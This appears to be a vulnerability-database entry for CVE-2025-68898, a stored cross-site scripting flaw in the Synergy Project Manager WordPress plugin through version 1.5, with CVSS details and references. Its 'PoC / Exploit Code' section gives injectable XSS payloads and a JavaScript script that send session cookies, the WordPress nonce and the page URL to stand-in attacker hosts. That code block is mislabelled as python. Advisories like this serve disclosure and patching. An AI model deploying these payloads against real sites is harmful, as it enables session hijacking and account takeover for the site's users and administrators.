CVE-2025-68898

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in cjjparadoxmax Synergy Project Manager synergy-project-manager allows Stored XSS.This issue affects Synergy Project Manager: from n/a through <= 1.5.

CVSS Details

CVSS Score

5.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Synergy Project Manager <= 1.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-68898 Stored XSS PoC
// Target: Synergy Project Manager WordPress Plugin <= 1.5

// Attack vector: Inject malicious JavaScript in plugin input fields

// Example 1: Project/Task Name Field
// Payload: <script>alert(document.cookie)</script>

// Example 2: Description Field
// Payload: <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>

// Example 3: Comment Field
// Payload: <svg onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))>

// The injected script will execute when any user views the affected page

// Example exploitation script:
(function() {
    // Steal session cookies
    var cookies = document.cookie;
    var token = document.querySelector('[name="_wpnonce"]')?.value || '';
    
    // Exfiltrate data to attacker server
    fetch('https://attacker-controlled-server.com/collect', {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify({
            cookies: cookies,
            token: token,
            url: window.location.href
        })
    });
})();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68898
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68898
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68898/
[4] VulDB https://vuldb.com/cve/CVE-2025-68898
[5] https://patchstack.com/database/Wordpress/Plugin/synergy-project-manager/vulnerability/wordpress-synergy-project-manager-plugin-1-5-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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